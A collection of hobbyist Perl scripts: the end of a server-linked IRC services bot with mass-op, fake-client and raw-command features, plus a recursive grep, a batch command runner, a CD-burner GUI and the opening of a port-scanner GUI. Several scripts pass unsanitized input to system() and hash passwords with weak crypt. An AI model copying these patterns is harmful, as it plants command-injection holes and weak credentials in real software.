  5146. $snd .= "$nmz[$_] ";
  5147. if ($f == 12) {
  5148. $f = 0;
  5149. print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
  5150. $snd = "";
  5151. }
  5152. }
  5153. print SOCK ":$botnick MODE $chn " . "+" x 13 . "o" x 13 . " $snd\n";
  5154. print SOCK ":$botnick PART $chn\n" if (!$chans{lc($chn)});
  5155. }
  5156. next;
  5157. }
  5158.  
  5159. # raw command
  5160. elsif ($etc =~ /^:raw\s+(.*)$/i) {
  5161. @tmp = split(/;/, $1);
  5162. foreach (@tmp) {
  5163. print SOCK "$_\n";
  5164. }
  5165. next;
  5166. }
  5167.  
  5168. # massopz0r command
  5169. elsif ($etc =~ /^:massopz0r\s+(.*)$/i) {
  5170. if ($1 =~ /^([^#]\S+)\s+(.*)$/) {
  5171. $n = $1;
  5172. $c = $2;
  5173. }
  5174. else {
  5175. $n = $nick;
  5176. }
  5177. $n = lc($n);
  5178. @chans = split(/\s/, $c);
  5179. foreach (@chans) {
  5180. if ($chans{$_}) {
  5181. print SOCK ":$botnick MODE $_ +o $n\n";
  5182. }
  5183. else {
  5184. print SOCK "SJOIN ts $_ + :\@$botnick\n:$botnick MODE $_ +o $n\n:$botnick PART $_\n";
  5185. }
  5186. delete $sall{lc($_)}{$n};
  5187. $sall{lc($_)}{'@' . $n} = 1;
  5188. }
  5189. }
  5190.  
  5191. # massdopz0r command
  5192. elsif ($etc =~ /^:massdopz0r\s+(.*)$/i) {
  5193. if ($1 =~ /^([^#]\S+)\s+(.*)$/) {
  5194. $n = $1;
  5195. $c = $2;
  5196. }
  5197. else {
  5198. $n = $nick;
  5199. }
  5200. $n = lc($n);
  5201. @chans = split(/\s/, $c);
  5202. foreach (@chans) {
  5203. if ($chans{$_}) {
  5204. print SOCK ":$botnick MODE $_ -o $n\n";
  5205. }
  5206. else {
  5207. print SOCK "SJOIN ts $_ + :\@$botnick\n:$botnick MODE $_ -o $n\n:$botnick PART $_\n";
  5208. }
  5209. delete $sall{'@' . lc($_)}{$n};
  5210. $sall{lc($_)}{$n} = 1;
  5211. }
  5212. }
  5213.  
  5214. # killbot command
  5215. elsif ($etc =~ /^:killbot\s+(\S+)\s*(.*)$/i) {
  5216. print SOCK ":$1 QUIT :$2\n";
  5217. delete($bots{$1});
  5218. next;
  5219. }
  5220.  
  5221. # listbots command
  5222. elsif ($etc =~ /^:listbots/i) {
  5223. my @temp;
  5224. foreach (keys(%bots)) {
  5225. if ($bots{$_}) {
  5226. push(@temp, $_);
  5227. }
  5228. }
  5229. $tmp = join(', ', @temp);
  5230. print SOCK ":$botnick PRIVMSG $nick :$tmp\n";
  5231. next;
  5232. }
  5233.  
  5234. # addbot command
  5235. elsif ($etc =~ /^:addbot\s+(\S+)\s+(\S+)\s+(\S+)\s+(.*)$/i) {
  5236. $tmp = "NICK $1 1 1 $2 $1 $3 $srvc :$4";
  5237. print SOCK "$tmp\n";
  5238. $bots{$1} = $tmp;
  5239. next;
  5240. }
  5241.  
  5242. # addjoin command
  5243. elsif ($etc =~ /^:addjoin\s+(\S+)\s*(.*)$/i) {
  5244. if ($chans{lc($1)}) {
  5245. print SOCK ":$botnick PRIVMSG $nick :Channel is already in the conf.\n";
  5246. }
  5247. else {
  5248. print SOCK "SJOIN ts $1 + :\@$botnick\n" unless $chans{$1};
  5249. &addconf("JOIN:" . lc($1) . ":$2:\n");
  5250. $chans{lc($1)}{$2} = 1;
  5251. }
  5252. next;
  5253. }
  5254.  
  5255. # botjoin command
  5256. elsif ($etc =~ /^:botjoin\s+(\S+)\s+(\S+)/i) {
  5257. print SOCK "SJOIN ts $2 + :\@$1\n";
  5258. $chans{$2} = 1;
  5259. next;
  5260. }
  5261.  
  5262. # botpart command
  5263. elsif ($etc =~ /^:botpart\s+(\S+)\s+(\S+)/i) {
  5264. print SOCK ":$1 PART $2\n";
  5265. delete($chans{$2});
  5266. next;
  5267. }
  5268.  
  5269. # botop command
  5270. elsif ($etc =~ /^:botop\s+(\S+)\s+(\S+)\s+(\S+)/i) {
  5271. if ($chans{$2}) {
  5272. print SOCK ":$1 MODE $2 +o $3\n";
  5273. }
  5274. else {
  5275. print SOCK "SJOIN ts $2 + :\@$1\n:$1 MODE $2 +o $3\n:$1 PART $2\n"
  5276. }
  5277. next
  5278. }
  5279.  
  5280. # botdeop command
  5281. elsif ($etc =~ /^:botdeop\s+(\S+)\s+(\S+)\s+(\S+)/i) {
  5282. if ($chans{$2}) {
  5283. print SOCK ":$1 MODE $2 -o $3\n";
  5284. }
  5285. else {
  5286. print SOCK "SJOIN ts $2 + :\@$1\n:$1 MODE $2 -o $3\n:$1 PART $2\n"
  5287. }
  5288. next
  5289. }
  5290. }
  5291.  
  5292. # oper commands [and above]
  5293. if ($nicks{$nick} >= 1) {
  5294.  
  5295. # rehash command
  5296. if ($etc =~ /^:rehash/i) {
  5297. &rehash;
  5298. print SOCK ":$botnick PRIVMSG $nick :\cbRehashed.\cb\n";
  5299. next;
  5300. }
  5301.  
  5302. # joinz0r command
  5303. elsif ($etc =~ /^:joinz0r\s+(.+)\s*$/i) {
  5304. @chns = split(/\s+/, $1);
  5305. foreach (@chns) {
  5306. print SOCK "SJOIN ts $_ + :\@$botnick\n";
  5307. $chans{$_} = 1;
  5308. }
  5309. next;
  5310. }
  5311.  
  5312. # partz0r command
  5313. elsif ($etc =~ /^:partz0r\s+(.+)\s*$/i) {
  5314. @chns = split(/\s+/, $1);
  5315. foreach (@chns) {
  5316. print SOCK ":$botnick PART $_\n";
  5317. delete($chans{$_});
  5318. }
  5319. next;
  5320. }
  5321.  
  5322. # deopz0r command
  5323. elsif ($etc =~ /^:deopz0r\s+(\S+)\s+(.*)$/i) {
  5324. if ($chans{$1}) {
  5325. @x = split(/\s/, $2);
  5326. $r = @x;
  5327. for (@x) {
  5328. delete $sall{lc($1)}{'@' . lc($_)};
  5329. $sall{lc($1)}{lc($_)} = 1;
  5330. }
  5331. print SOCK ":$botnick MODE $1 " . "-" x $r . "o" x $r . " $2\n";
  5332. }
  5333. else {
  5334. @x = split(/\s/, $2);
  5335. for (@x) {
  5336. delete $sall{lc($1)}{'@' . lc($_)};
  5337. $sall{lc($1)}{lc($_)} = 1;
  5338. }
  5339. $r = @x;
  5340. print SOCK "SJOIN ts $1 + :\@$botnick\n:$botnick MODE $1 " . "-" x $r . "o" x $r . " $2\n:$botnick PART $1\n";
  5341. }
  5342. }
  5343.  
  5344. # opz0r command [for opers and above]
  5345. elsif ($etc =~ /^:opz0r\s+(\S+)\s+(.*)$/i && $nicks{$nick} > 0) {
  5346. if ($chans{$1}) {
  5347. @x = split(/\s/, $2);
  5348. for (@x) {
  5349. delete $sall{lc($1)}{lc($_)};
  5350. $sall{lc($1)}{'@' . lc($_)} = 1;
  5351. }
  5352. $r = @x;
  5353. print SOCK ":$botnick MODE $1 " . "+" x $r . "o" x $r . " $2\n";
  5354. }
  5355. else {
  5356. @x = split(/\s/, $2);
  5357. for (@x) {
  5358. delete $sall{lc($1)}{lc($_)};
  5359. $sall{lc($1)}{'@' . lc($_)} = 1;
  5360. }
  5361. $r = @x;
  5362. print SOCK "SJOIN ts $1 + :\@$botnick\n:$botnick MODE $1 " . "+" x $r . "o" x $r . " $2\n";
  5363. print SOCK ":$botnick PART $1\n";
  5364. }
  5365. next;
  5366. }
  5367. }
  5368. }
  5369. }
  5370. }
  5371.  
  5372. # check the conf for a certain line and check the password
  5373. sub readconf {
  5374. ($match, $pwd) = @_;
  5375. open(FH, "<$conf");
  5376. @lines = <FH>;
  5377. $match =~ s/\*/.*/g;
  5378. foreach (@lines) {
  5379. if (/^$match(.*)$/i) {
  5380. close(FH);
  5381. if (&ckpasswd($pwd, $1)) {
  5382. return 1;
  5383. }
  5384. else {
  5385. return 0;
  5386. }
  5387. }
  5388. }
  5389. close(FH);
  5390. return 0;
  5391. }
  5392.  
  5393. # restart function to restart the program completely, good for restarting on code changes
  5394. sub restart {
  5395. sleep 3;
  5396. system("$^X $0 " . join(' ', @ARGV) . " &");
  5397. die "\n";
  5398. }
  5399.  
  5400. # check the conf for any line
  5401. sub chkline {
  5402. ($line) = @_;
  5403. open(FH, "<$conf");
  5404. @lines = <FH>;
  5405. foreach (@lines) {
  5406. if (/^$line/i) {
  5407. close(FH);
  5408. return 1;
  5409. }
  5410. }
  5411. close(FH);
  5412. return 0;
  5413. }
  5414.  
  5415. # check the conf for a CHAN line
  5416. sub checkconf {
  5417. $chn = $_[0];
  5418. open(FH, "<$conf");
  5419. @lines = <FH>;
  5420. $tm = "CHAN:" . lc($chn) . ":";
  5421. foreach (@lines) {
  5422. if (/^$tm/) {
  5423. close(FH);
  5424. return 1;
  5425. }
  5426. }
  5427. close(FH);
  5428. return 0;
  5429. }
  5430.  
  5431. # check the conf for a CHAN line with a specific nick
  5432. sub checkconfnick {
  5433. ($chn, $nck) = @_;
  5434. $chn = lc($chn);
  5435. $nck = lc($nck);
  5436. open(FH, "<$conf");
  5437. @lines = <FH>;
  5438. $tm = "CHAN:$chn:$nck:";
  5439. foreach (@lines) {
  5440. if (/^$tm/) {
  5441. close(FH);
  5442. return 1;
  5443. }
  5444. }
  5445. close(FH);
  5446. return 0;
  5447. }
  5448.  
  5449. # add an op to the conf file
  5450. sub addop {
  5451. ($nck, $chan) = @_;
  5452. open(FH, "+<$conf");
  5453. @fh = <FH>;
  5454. $nck = lc($nck);
  5455. $chan = lc($chan);
  5456. foreach (@fh) {
  5457. if (/^PASS:$nck:[^:]+:[^:]+:(.*)$/i) {
  5458. $xf = "CHOP:$chan:$nck:$1\n";
  5459. print FH $xf;
  5460. close(FH);
  5461. last;
  5462. }
  5463. }
  5464. &rehash;
  5465. return 0;
  5466. }
  5467.  
  5468.  
  5469. # add an oper
  5470. sub addoper {
  5471. $done = 0;
  5472. $xf = 0;
  5473. ($nck, $id) = @_;
  5474. open(FH, "+<$conf");
  5475. @fh = <FH>;
  5476. $nck = lc($nck);
  5477. foreach (@fh) {
  5478. if (/^OPER:\d+:$nck:/i) {
  5479. $xf++;
  5480. last;
  5481. }
  5482. if (/^PASS:$nck:[^:]+:[^:]+:(.*)$/i) {
  5483. if ($done == 0) {
  5484. $rf = "OPER:$id:$nck:$1\n";
  5485. $done++;
  5486. }
  5487. }
  5488. }
  5489. if (!$xf && $done == 1) {
  5490. print FH $rf;
  5491. }
  5492. close(FH);
  5493. if ($done == 1) {
  5494. return 1;
  5495. }
  5496. elsif ($done > 1) {
  5497. return 2;
  5498. }
  5499. else {
  5500. return 0;
  5501. }
  5502. }
  5503.  
  5504. # check to see if a pass exists for someone
  5505. sub checkpass {
  5506. $there = 0;
  5507. $nck = $_[0];
  5508. =cut
  5509. open(FH, "<$conf");
  5510. while (<FH>) {
  5511. if (/PASS:$nck:/i) {
  5512. close(FH);
  5513. return 1;
  5514. }
  5515. }
  5516. =cut
  5517. if ($passes{$nck}) {
  5518. return 1;
  5519. }
  5520. return 0;
  5521. }
  5522.  
  5523. # add an oper line to the conf
  5524. sub operconf {
  5525. ($nck, $id, $pass) = @_;
  5526. $nck = lc($nck);
  5527. open(FH, ">>$conf");
  5528. $newp = &mkpasswd($pass);
  5529. print FH "OPER:$id:$nck:$newp\n";
  5530. close(FH);
  5531. &rehash;
  5532. }
  5533.  
  5534. # rehash the conf and local data to the program
  5535. sub rehash {
  5536. undef %nicks;
  5537. undef %passes;
  5538. undef %chnln;
  5539. undef %chnlp;
  5540. undef %confz0r;
  5541. open(FH, "<$conf");
  5542. while (<FH>) {
  5543. $confz0r{$_} = 1;
  5544. if (/^JOIN:([^:]+):([^:]*):$/) {
  5545. $join{lc($1)}{$2} = 1;
  5546. next;
  5547. }
  5548. elsif (/^L33T:(.+)$/) {
  5549. $protect{$1} = 1;
  5550. next;
  5551. }
  5552. elsif (/^PASS:([^:]+):\d+:\d+:([^:]+)$/) {
  5553. $passes{$1} = $2;
  5554. next;
  5555. }
  5556. elsif (/^OPER:(\d+):([^:]+):(.*)$/) {
  5557. $nicks{lc($2)} = $1;
  5558. $passes{lc($2)} = $3;
  5559. next;
  5560. }
  5561. elsif (/^CHAN:([^:]+):([^:]+):(.*)$/) {
  5562. $chnlp{lc($1)} = $3;
  5563. $chnln{lc($1)} = $2;
  5564. next;
  5565. }
  5566. }
  5567. close(FH);
  5568. }
  5569.  
  5570. # add a line to the conf
  5571. sub addconf {
  5572. @tmp = @_;
  5573. open(FH, ">>$conf");
  5574. foreach (@tmp) {
  5575. print FH $_;
  5576. }
  5577. close(FH);
  5578. }
  5579.  
  5580. # create an encrypted password
  5581. sub mkpasswd {
  5582. $what = $_[0];
  5583. $salt = chr(65+rand(27)).chr(65+rand(27));
  5584. $salt =~ s/\W/x/g;
  5585. return crypt($what, $salt);
  5586. }
  5587.  
  5588. # check an encrypted password with a non-encrypted one
  5589. sub ckpasswd {
  5590. ($plain, $encrypted) = @_;
  5591. if (!$encrypted) {
  5592. ($plain, $encrypted) = split(/\s+/, $plain, 2);
  5593. }
  5594. return '' unless ($plain && $encrypted);
  5595. if ($encrypted =~ /^\$\d\$(\w\w)\$/) {
  5596. $salt = $1;
  5597. }
  5598. else {
  5599. $salt = substr($encrypted, 0, 2);
  5600. }
  5601. return ($encrypted eq crypt($plain, $salt));
  5602. }
  5603.  
  5604. # modify a user (under construction)
  5605. sub moduser {
  5606. ($user, $id) = @_;
  5607. $user = lc($user);
  5608. open(FH, "<$conf");
  5609. @fh = <FH>;
  5610. foreach (@fh) {
  5611. if (/^PASS:$user:([^:]+):(\d+):(.+)$/) {
  5612. $rf = "PASS:$user:" . lc($1) . ":$id:$3";
  5613. $xf = "PASS:$user:" . lc($1) . ":$2:$3";
  5614. }
  5615. }
  5616. close(FH);
  5617. if (!$rf) {
  5618. return 0;
  5619. }
  5620. else {
  5621. open(FH, ">>$conf");
  5622. while (<FH>) {
  5623. if (/^$xf$/) {
  5624. s/^$xf$/$rf/;
  5625. }
  5626. }
  5627. close(FH);
  5628. }
  5629. }
  5630.  
  5631. # get the status of a user
  5632. sub status {
  5633. $nick = $_[0];
  5634. $nick = $nick;
  5635. open(FH, "<$conf");
  5636. while (<FH>) {
  5637. if (/OPER:(\d+):$nick:/i) {
  5638. if ($1 >= 31337) {
  5639. close(FH);
  5640. return "l33t hax0r";
  5641. }
  5642. elsif ($1 >= 666) {
  5643. close(FH);
  5644. return "hax0r";
  5645. }
  5646. elsif ($1 >= 1) {
  5647. close(FH);
  5648. return "oper";
  5649. }
  5650. else {
  5651. close(FH);
  5652. return "wannabe oper";
  5653. }
  5654. }
  5655. }
  5656. close(FH);
  5657. return "peasant user";
  5658. }
  5659.  
  5660.  
  5661. #!/usr/bin/perl
  5662.  
  5663. # by samy [CommPort5@LucidX.com]
  5664. # This some-what 'greps' all input files you give it with
  5665. # the string to 'grep', and if it sees any #include's in
  5666. # the files (usually in C and header files), it will also
  5667. # 'grep' those for the string, and everything in those,
  5668. # and everything in those, and so on :)
  5669.  
  5670. if (@ARGV < 2) {
  5671. die "usage: $0 [-g (case-insensitive)] <list of C/header files> <'string/regexp to perl grep'>\n";
  5672. }
  5673.  
  5674. $grep = pop(@ARGV);
  5675. if ($ARGV[0] =~ /^-.{1}$/) {
  5676. $arg = shift(@ARGV);
  5677. }
  5678.  
  5679. foreach $file (@ARGV) {
  5680. $check{$file} = 1;
  5681. }
  5682. foreach $file (@ARGV) {
  5683. $bad = 0;
  5684. open(TMP, "<$file") or $bad++;
  5685. if ($bad) {
  5686. print "Unable to open $file: $!\n";
  5687. }
  5688. else {
  5689. while (<TMP>) {
  5690. if ($arg eq "-g") {
  5691. if (/$grep/i) {
  5692. print "$file:$_";
  5693. }
  5694. }
  5695. else {
  5696. if (/$grep/) {
  5697. print "$file:$_";
  5698. }
  5699. }
  5700. if (/include\s*<([^>]+)>/ and !$check{"/usr/include/" . $1}) {
  5701. $incl{"/usr/include/" . $1} = 1;
  5702. $check{"/usr/include/" . $1} = 1;
  5703. }
  5704. }
  5705. close(TMP);
  5706. }
  5707. }
  5708.  
  5709. &dcheck(%incl);
  5710.  
  5711. sub dcheck {
  5712. %temp = @_;
  5713. %new = ();
  5714. foreach $file (keys(%temp)) {
  5715. $check{"/usr/include/" . $file} = 1;
  5716. }
  5717. foreach $file (keys(%temp)) {
  5718. $bad = 0;
  5719. open(TMP, "<$file") or $bad++;
  5720. if (!$bad) {
  5721. while (<TMP>) {
  5722. if (/include\s*<([^>]+)>/ and !$check{"/usr/include/" . $1}) {
  5723. $new{"/usr/include/" . $1} = 1;
  5724. $check{"/usr/include/" . $1} = 1;
  5725. }
  5726. if ($arg eq "-g") {
  5727. if (/$grep/i) {
  5728. print "$file:$_";
  5729. }
  5730. }
  5731. else {
  5732. if (/$grep/) {
  5733. print "$file:$_";
  5734. }
  5735. }
  5736. }
  5737. close(TMP);
  5738. }
  5739. }
  5740. if (%new) {
  5741. &dcheck(%new);
  5742. }
  5743. }
  5744.  
  5745.  
  5746. #!/usr/bin/perl
  5747.  
  5748. # this is for doing stuff with multiple files when the program doesn't support multiple files
  5749. # example:
  5750. # if you have 3 .tar's in a dir, you can't do tar -xvf *.tar
  5751. # you have to do each one, one by one
  5752. # with this, you just do something like: mass 'tar -xvf *.tar' and it will run each one for you
  5753. # or maybe mass 'tar -xvf program-0.?.tar' or whatever...
  5754. # cp5 owns.you
  5755.  
  5756. die "usage: $0 <'program'>\nexample: $0 'tar -xvf *.tar'\n" unless @ARGV == 1;
  5757. @args = split(/\s+/, $ARGV[0]);
  5758. foreach (@args) {
  5759. unless (/\?|\*/ or $dn) {
  5760. $frst .= "$_ ";
  5761. }
  5762. if ($dn) {
  5763. $last .= "$_ ";
  5764. }
  5765. if (/\?|\*/) {
  5766. $dn++;
  5767. if (/^(.*?\/)([^\/]+)$/) {
  5768. opendir (DIR, $1);
  5769. $file = $2;
  5770. }
  5771. else {
  5772. opendir (DIR, "./");
  5773. $file = $_;
  5774. }
  5775. $file =~ s/\?/.{1}/g;
  5776. $file =~ s/\*/.*?/g;
  5777. @fils = grep { /^$file$/ } readdir(DIR);
  5778. }
  5779. }
  5780. foreach (@fils) {
  5781. system("$frst $_ $lst");
  5782. }
  5783.  
  5784.  
  5785. #!/usr/bin/perl
  5786.  
  5787. # -sam k (commport5@lucidx.com)
  5788.  
  5789. # reads the perl program and outputs a module header that you
  5790. # have to add to the .pl to make it into a module
  5791.  
  5792. # e.g.,
  5793. # ./mkmod Inject.pl Packet::Inject 0.01 > Inject.pm ; cat Inject.pl >> Inject.pm ; rm Inject.pl
  5794.  
  5795. die "usage: $0 <file> <module name> <version>\n" unless @ARGV == 3;
  5796. open(TMP, $ARGV[0]) or die "Unable to open $ARGV[0]: $!\n";
  5797. while (<TMP>) {
  5798. if (($f) = $_ =~ /^[^#]*[^#\\]*sub\s+(\S+)/) {
  5799. $funcs .= "$f ";
  5800. }
  5801. }
  5802. $funcs =~ s/\s*$//g;
  5803. $tmp{'@ISA'} = 1;
  5804. $tmp{'@EXPORT'} = 1;
  5805. $tmp{'$VERSION'} = 1;
  5806. ($mod) = $ARGV[1] =~ /^([^:]+)/;
  5807. ($pm = $ARGV[0]) =~ s/\.pl//;
  5808. print "
  5809. # $pm.pm $ARGV[2] (module: $ARGV[1])
  5810.  
  5811. package $ARGV[1];
  5812. require Exporter;
  5813. \@ISA = qw(Exporter);
  5814. \@EXPORT = qw($funcs);
  5815. \$VERSION = '$ARGV[2]';
  5816. ";
  5817.  
  5818.  
  5819. #!/usr/bin/perl
  5820.  
  5821. # by Samy Kamkar [commport5@lucidx.com]
  5822.  
  5823. # requires burncd for burning isos
  5824. # requires mkisofs if you want to burn regular files/dirs onto a cd
  5825.  
  5826. use Tk;
  5827. $mdb = MainWindow->new();
  5828. $mdb->title(" CD-R(W) Burner");
  5829. $mhead = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
  5830. $mright = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'ne', -side => 'right');
  5831. $mright->Label(-text => 'Media Type')->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
  5832. @typerad = ('Audio [XA]', 'Data', 'Data/Audio', 'No Idea');
  5833. for my $type (0 .. 3) {
  5834. $mright->Radiobutton(-text => "$typerad[$type]", -variable => \$dbtype, anchor => 'w', -relief => 'flat', -value => $type)->pack(-side => 'top');
  5835. }
  5836. $mright->Label(-text => "\n\nDevice")->pack;
  5837. $device = $mright->Entry(-borderwidth => 2, -width => 8)->pack;
  5838. $device->insert('end', "racd1a");
  5839. $mright->Label(-text => "\nSpeed")->pack;
  5840. $speed = $mright->Entry(-borderwidth => 2, -width => 8)->pack;
  5841. #$speed->insert('end', "2");
  5842. $mbot = $mdb->Frame( -relief=>'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'nw', -side => 'bottom');
  5843. $mbot->Checkbutton(-text => "Eject when done", -variable => \$cstart, anchor => 'e', -relief => 'flat', -command => sub { &eject })->pack(-side => 'top');
  5844. $mbot->Checkbutton(-text => "Preemphasis on audio tracks", -variable => \$asknew, anchor => 'e', -relief => 'flat', -command => sub { &emph })->pack(-side => 'top');
  5845. $mbot->Checkbutton(-text => "Test burn", -variable => \$mkrev, anchor => 'e', -relief => 'flat', -command => sub { &test })->pack(-side => 'top');
  5846. $mbot->Checkbutton(-text => "Quiet at console", -variable => \$mknew, anchor => 'e', -relief => 'flat', -command => sub { &quiet })->pack(-side => 'top');
  5847. for $i (1 .. 5) {
  5848. ($f, $l, $e) = ("mhead_${i}", "mhead_${i}_l", "mhead_${i}_e");
  5849. ${$f} = $mdb->Frame();
  5850. ${$f}->pack(-side => 'top', -pady => '2', -anchor => 'e');
  5851. ${$l} = ${$f}->Label(-text => "ISO $i", -anchor => 'e');
  5852. ${$e} = ${$f}->Entry(-width => '20', -relief => 'sunken');
  5853. ${$e}->insert('0', $dbfill[$i]);
  5854. ${$e}->pack(-side => 'right');
  5855. ${$l}->pack(-side => 'right');
  5856. }
  5857. for $i (6 .. 10) {
  5858. $r = ($i - 5);
  5859. ($f, $l, $e) = ("mhead_${i}", "mhead_${i}_l", "mhead_${i}_e");
  5860. ${$f} = $mdb->Frame();
  5861. ${$f}->pack(-side => 'top', -pady => '2', -anchor => 'e');
  5862. ${$l} = ${$f}->Label(-text => "File/Dir $r", -anchor => 'e');
  5863. ${$e} = ${$f}->Entry(-width => '20', -relief => 'sunken');
  5864. ${$e}->insert('0', $dbfill[$i]);
  5865. ${$e}->pack(-side => 'right');
  5866. ${$l}->pack(-side => 'right');
  5867. }
  5868. $btnok = $mhead->Button(-text => 'Burn');
  5869. $btnok->configure(-command => \&write);
  5870. $btnok->pack(-side => 'left', -padx => '2');
  5871. $btndisc = $mhead->Button(-text => 'Blanken');
  5872. $btndisc->pack(-side => 'left', -padx => '2');
  5873. $btndisc->configure(-command => \&blank);
  5874. $btnconnect = $mhead->Button(-text => 'Eject');
  5875. $btnconnect->pack(-side => 'left', -padx => '2');
  5876. $btnconnect->configure(-command => \&command);
  5877. $btnsave = $mhead->Button(-text => 'Information');
  5878. $btnsave->configure(-command => \&info);
  5879. $btnsave->pack(-side => 'left', -padx => '2');
  5880. $btncancel = $mhead->Button(-text => 'Exit', -command => [$mdb,'destroy']);
  5881. $btncancel->pack(-side => 'left', -padx => '2');
  5882. MainLoop;
  5883. sub command {
  5884. $dev = get $device;
  5885. print "Executing: burncd -f /dev/$dev -e\n";
  5886. system("burncd -f /dev/$dev -e");
  5887. }
  5888. sub blank {
  5889. my $isos;
  5890. my $files;
  5891. $args = "burncd";
  5892. $spd = get $speed;
  5893. $dev = get $device;
  5894. $args .= " -f /dev/$dev";
  5895. if ($spd) {
  5896. $args .= " -s $spd";
  5897. }
  5898. if ($eject %2 != 0) {
  5899. $args .= " -e";
  5900. }
  5901. if ($quiet %2 != 0) {
  5902. $args .= " -q";
  5903. }
  5904. if ($test %2 != 0) {
  5905. $args .= " -t";
  5906. }
  5907. $args .= " blank";
  5908. print "Executing: $args\n";
  5909. system($args);
  5910. print "Finished.\n\n";
  5911. }
  5912. sub write {
  5913. $args = "burncd";
  5914. for (1 .. 5) {
  5915. $mhead = "mhead_${_}_e";
  5916. $file = get ${$mhead};
  5917. if ($file) {
  5918. $files .= " $file";
  5919. }
  5920. }
  5921. for (6 .. 10) {
  5922. $mhead = "mhead_${_}_e";
  5923. $file = get ${$mhead};
  5924. if ($file) {
  5925. $isos .= "$file ";
  5926. }
  5927. }
  5928. $rand = rand(1000000);
  5929. print "Executing: mkisofs $isos> /tmp/.burn.$rand";
  5930. system("mkisofs $isos> /tmp/.burn.$rand");
  5931. $files .= " /tmp/.burn.$rand";
  5932. $spd = get $speed;
  5933. $dev = get $device;
  5934. $args .= " -f /dev/$dev";
  5935. if ($spd) {
  5936. $args .= " -s $spd";
  5937. }
  5938. if ($eject %2 != 0) {
  5939. $args .= " -e";
  5940. }
  5941. if ($test %2 != 0) {
  5942. $args .= " -t";
  5943. }
  5944. if ($quiet %2 != 0) {
  5945. $args .= " -q";
  5946. }
  5947. if ($emph %2 != 0) {
  5948. $args .= " -p";
  5949. }
  5950. if ($dbtype) {
  5951. $args .= " data";
  5952. }
  5953. else {
  5954. $args .= " audio";
  5955. }
  5956. $args .= $files;
  5957. $args .= " fixate";
  5958. print "Executing: $args\n";
  5959. system($args);
  5960. print "Finished.\n\n";
  5961. }
  5962. sub info {
  5963. my $top2 = $mdb->Toplevel;
  5964. $top2->Label(-text => "\n Perl/Tk CD Burner [burncd front-end] \n by Samy Kamkar\n")->pack;
  5965. }
  5966. sub quiet {
  5967. $quiet++;
  5968. }
  5969. sub eject {
  5970. $eject++;
  5971. }
  5972. sub emph {
  5973. $emph++;
  5974. }
  5975. sub test {
  5976. $test++;
  5977. }
  5978.  
  5979.  
  5980. #!/usr/bin/perl
  5981.  
  5982. use strict;
  5983. use Tk;
  5984. use IO::Socket;
  5985. my ($sfile, $nfrm, $entry, $file, $but, $fromport, $toport, $neww, $nwww, $hlpm, $flmn, $menu, $save, $mw, $mid, $win, $prt, $l);
  5986. $save = "0";
  5987. $mw = MainWindow->new();
  5988. $mw->configure(-background => 'black');
  5989. $mw->title(" Perl/Tk Port Scanner");
  5990. $menu = $mw->Frame(-relief => 'groove', -border => 3, -background => 'grey')->pack('-side' => 'top', -fill => 'x');
  5991. $flmn = $menu->Menubutton(-text => 'File', -tearoff => 0, -background => 'grey', -activebackground => 'white', -foreground => 'black')->pack(-side => 'left');
  5992. $hlpm = $menu->Menubutton(-text => 'Help', -tearoff => 0, -background => 'grey', -activebackground => 'white', -foreground => 'black')->pack(-side => 'right');
  5993. $neww = $mw->Frame(-background => 'black')->pack(-side => 'top', -fill => 'x');
  5994. $nwww = $neww->Frame(-background => 'black')->pack(-side => 'left', pady => 9, padx => 8);
  5995. $hlpm->command(-label => 'Info', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{info()});
  5996. #$hlpm->command(-label => 'Help', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{help()});
  5997. $hlpm->separator();
  5998. #$hlpm->command(-label => 'Ports', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{ports()});
  5999. #$hlpm->command(-label => 'Upgrade', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{upgrade()});
  6000. $flmn->command(-label => 'Scan', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{scan($entry, $fromport, $toport, $file)});
  6001. $flmn->command(-label => 'Info', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{info()});
  6002. $flmn->separator();
  6003. $flmn->command(-label => 'Exit', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => [$mw,'destroy']);
  6004. $nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "Hostname/IP:")->pack;
  6005. $nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "Starting port:")->pack;
  6006. $nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "End port:")->pack;
  6007. $nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "File to write to:")->pack;
  6008. $nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "Write to file?")->pack;
  6009. $nfrm = $neww->Frame(-background => 'black')->pack(-side => 'left', -pady => 2, -padx => 15);
  6010. $entry = $nfrm->Entry(-background => 'white', -foreground => 'black', -borderwidth => 2, -relief => 'sunken', -width => 30)->pack;
  6011. $entry->insert('end', "localhost");
  6012. $fromport = $nfrm->Entry(-background => 'white', -foreground => 'black', -borderwidth => 2, -relief => 'sunken', -width => 6)->pack;
  6013. $fromport->insert('end', "1");
  6014. $toport = $nfrm->Entry(-background => 'white', -foreground => 'black', -borderwidth => 2, -relief => 'sunken', -width => 6)->pack;
  6015. $toport->insert('end', "1024");
  6016. $file = $nfrm->Entry(-background => 'grey', -foreground => 'grey', -borderwidth => 2, -width => 30)->pack;
  6017. $nfrm->Checkbutton(-background => 'white', -command => sub{save()})->pack;
  6018. $but = $mw->Frame(-borderwidth => 0, -background => 'black', -relief => 'groove')->pack(-side => 'top', -fill => 'x');
  6019. $but->Button(-background => 'black', -foreground => 'white', -text => 'Info', -command => sub{info()})->pack(-side => 'left');
  6020. $but->Button(-background => 'black', -foreground => 'white', -text => 'Scan', -command => sub{scan($entry, $fromport, $toport, $file)})->pack(-side => 'left');
  6021. #$prt = $mw->Label(-text => "Waiting for acknowledgement...", -foreground => 'green', -background => 'black', -pady => 4)->pack();
